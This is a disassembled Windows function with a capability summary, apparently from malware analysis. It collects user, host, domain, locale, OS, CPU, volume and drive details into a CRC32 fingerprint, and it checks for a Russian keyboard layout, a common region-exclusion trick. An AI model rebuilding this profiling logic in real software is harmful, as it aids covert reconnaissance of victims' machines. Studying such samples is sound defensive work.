Function at 0x196d90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get cpu information
Get disk information
Get disk size
Get hostname
Get session user name
Get system information on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [esi], 0
je 0x196dce
push 4
push 0x3000
push 0x202
push 0
call edi
lea ecx, [ebp - 0x18]
mov dword [esi + 8], eax
push ecx
push eax
mov dword [ebp - 0x18], 0x100
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
cmp dword [esi + 0xc], 0
je 0x196df6
push 4
push 0x3000
push 0x20
push 0
mov dword [ebp - 0x18], 0x1e
call edi
lea ecx, [ebp - 0x18]
mov dword [esi + 0x14], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [esi + 0x18], 0
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
je 0x196e56
push 4
push 0x3000
push 0x80
push 0
call edi
mov dword [esi + 0x20], eax
test eax, eax
je 0x196e56
push ecx
push 0x80
push eax
push str.Domain
push str.SYSTEMCurrentControlSet_servicesTcpipParameters
push 0x80000002
call fcn.00196d10
test eax, eax
je 0x196e49
mov eax, dword [esi + 0x20]
cmp word [eax], 0
jne 0x196e56
push str.WORKGROUP
push eax
jmp 0x196e51
push str.undefined
push dword [esi + 0x20]
call ebx
add esp, 8
cmp dword [esi + 0x30], 0
je 0x196ef5
push 4
push 0x3000
push 0x80
push 0
call edi
mov dword [ebp - 0x14], eax
mov dword [esi + 0x38], eax
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push str.Control_PanelInternational
push 0x80000001
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x196ede
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x40
push eax
push dword [ebp - 0x14]
push 0
push 0
push str.LocaleName
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x196ec9
mov dword [ebp - 8], 1
jmp 0x196ecf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], 0
jne 0x196ef5
push 0x8000
push 0
push dword [esi + 0x38]
mov dword [esi + 0x30], 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [esi + 0x3c], 0
je 0x197024
push 4
push 0x3000
push 0x8a
push 0
call edi
push 4
push 0x3000
mov dword [ebp - 0xc], eax
add eax, 0xe
push 4
push 0
mov dword [ebp - 0x18], eax
call edi
mov dword [esi + 0x44], eax
mov edi, 1
mov dword [ebp - 4], 1
mov dword [ebp - 8], 0
jmp 0x196f40
push edi
push 0x1a04f4
push dword [ebp - 0xc]
call ebx
add esp, 0xc
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x10]
inc edi
push eax
push 0x20019
push 0
push str.Keyboard_LayoutPreload
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x196fe3
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x80
push eax
push dword [ebp - 0x18]
push 0
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x196fa0
mov dword [ebp - 0x14], 1
jmp 0x196fa6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x14], 0
je 0x196fe3
push str.00000419
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x196fea
push 0x1a0540
push dword [esi + 0x44]
call ebx
add esp, 8
mov ecx, 1
xor eax, eax
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
jmp 0x196ff0
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x196fed
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
cmp edi, 9
je 0x196ffd
test eax, eax
jne 0x196f40
test ecx, ecx
jne 0x19700e
push 0x1a0544
push dword [esi + 0x44]
call ebx
add esp, 8
push 0x8000
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [esi + 0x48], 0
je 0x1970d6
push 4
push 0x3000
push 0x82
push 0
call edi
mov dword [ebp - 0x10], eax
mov dword [esi + 0x50], eax
lea eax, [ebp - 0x18]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
mov dword [ebp - 0x14], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1970ac
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x80
push eax
push dword [ebp - 0x10]
push 0
push 0
push 0x1a0548
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x197097
mov dword [ebp - 0x14], 1
jmp 0x19709d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x14], 0
jne 0x1970d6
push ecx
push 0x80
push dword [esi + 0x50]
push 0x1a0548
push str.SOFTWAREWow6432NodeMicrosoftWindows_NTCurrentVersion
push 0x80000002
call fcn.00196d10
push str.error
push dword [esi + 0x50]
call ebx
add esp, 8
cmp dword [esi + 0x54], 0
je 0x197134
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
push 4
push 0x3000
push 0x40
push 0
call edi
movzx ecx, word [ebp - 0x48]
mov dword [esi + 0x5c], eax
cmp ecx, 9
ja case.0x197106.1
movzx ecx, byte [ecx + 0x197510]
jmp dword [ecx*4 + 0x1974fc]
push 0x1a0640
jmp 0x19712e
push 0x1a0648
jmp 0x19712e
push str.Itanium
jmp 0x19712e
push 0x1a0660
jmp 0x19712e
push str.Unknown
push eax
call ebx
add esp, 8
cmp dword [esi + 0x24], 0
je 0x197155
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [esi + 0x2c]
push eax
call fcn.00197520
test eax, eax
jne 0x197155
mov dword [esi + 0x24], eax
cmp dword [esi + 0x60], 0
je 0x1972e9
push 4
push 0x3000
push 0x400
push 0
call edi
push 4
push 0x3000
push 0xe0c
push 0
mov dword [esi + 0x68], eax
call edi
push 0x100
push eax
mov dword [ebp - 0xc], eax
lea ecx, [eax + 0x60c]
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ecx, dword [ebp - 0xc]
xor eax, eax
push 0x100
mov word [ecx + 6], ax
lea edx, [ecx + 0x600]
lea eax, [ecx + 0x400]
mov dword [ebp - 0x10], edx
push eax
lea eax, [ecx + 0x604]
push eax
lea eax, [ecx + 0x608]
push eax
push edx
push 0x100
lea eax, [ecx + 0x200]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0
push eax
push 0x20019
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x19726d
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x1c]
push eax
push ecx
push 0
push 0
push str.ProcessorNameString
push dword [ebp - 0x18]
mov dword [ebp - 0x1c], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x19722e
mov dword [ebp - 0x14], 1
jmp 0x197234
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x14], 0
je 0x19726d
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 4]
push ecx
push 0x80
lea eax, [ecx + eax*2]
push eax
push str.Identifier
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call fcn.00196d10
mov eax, dword [ebp - 0x10]
push dword [eax]
push 0x1a04f4
push dword [esi + 0x68]
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0xc
push dword [ebp - 4]
push dword [esi + 0x68]
call ebx
push str.RtlComputeCrc32
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x1972c7
push dword [esi + 0x68]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [esi + 0x68]
push 0x29a
call dword [ebp - 0x1c]
mov dword [esi + 0x6c], eax
jmp 0x1972ce
mov dword [esi + 0x6c], 0
mov eax, dword [ebp - 0x10]
push 0x8000
push 0
mov eax, dword [eax]
mov dword [esi + 0x70], eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1972ef
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
cmp dword [esi + 0x74], 0
je 0x1974a0
push 4
push 0x3000
push 0x400
push 0
mov dword [ebp - 0x40], str.UNKNOWN
mov dword [ebp - 0x3c], str.NO_ROOT_DIR
mov dword [ebp - 0x38], str.REMOVABLE
mov dword [ebp - 0x34], str.FIXED
mov dword [ebp - 0x30], str.REMOTE
mov dword [ebp - 0x2c], str.CDROM
mov dword [ebp - 0x28], str.RAMDISK
call edi
mov dword [esi + 0x7c], eax
lea ecx, [ebp - 0x80]
mov eax, 0x41
mov word [ecx], ax
lea ecx, [ecx + 2]
inc eax
cmp ax, 0x5a
jbe 0x197345
mov eax, dword [0x19e304]
mov dword [ebp - 0x24], eax
mov eax, dword [0x19e308]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x197370
mov ax, word [ebp + eax*2 - 0x80]
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov edi, eax
cmp edi, 2
jbe 0x19747b
cmp edi, 5
je 0x19747b
xor eax, eax
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x24]
push eax
push dword [esi + 0x7c]
call ebx
push dword [ebp + edi*4 - 0x40]
mov eax, 0x5c
push dword [esi + 0x7c]
mov word [ebp - 0x20], ax
call ebx
push 0x1a07b0
push dword [esi + 0x7c]
call ebx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
test eax, eax
je 0x197471
mov edi, dword [ebp - 0x1c]
imul edi, dword [ebp - 0x14]
push 0
push edi
push 0
push dword [ebp - 0x10]
call fcn.00198470
push 0
push edi
push 0
push dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ebx, edx
call fcn.00198470
mov edi, dword [ebp - 8]
mov ecx, edi
push dword [esi + 0x7c]
sub ecx, eax
mov eax, ebx
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esi + 0x7c]
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push edi
lea eax, [ecx + eax*2]
push 0x1a07b4
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 0x10
push dword [esi + 0x7c]
call edi
push dword [ebp - 8]
mov ecx, dword [esi + 0x7c]
push dword [ebp - 4]
push str._I64u
lea eax, [ecx + eax*2]
push eax
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0x10
push 0x1a07d0
push dword [esi + 0x7c]
call ebx
jmp 0x197481
push 0x1a07d4
push dword [esi + 0x7c]
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x1b
jb 0x197370
push dword [esi + 0x7c]
call edi
mov ecx, dword [esi + 0x7c]
xor edx, edx
mov word [ecx + eax*2 - 2], dx
cmp dword [esi + 0x80], 0
je 0x1974ee
push 4
push 0x3000
push 0x81
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 0x84], eax
test eax, eax
je 0x1974e4
push ecx
push eax
call fcn.001968f0
test eax, eax
jne 0x1974ee
push 0x8000
push eax
push dword [esi + 0x84]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [esi + 0x80], 0
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret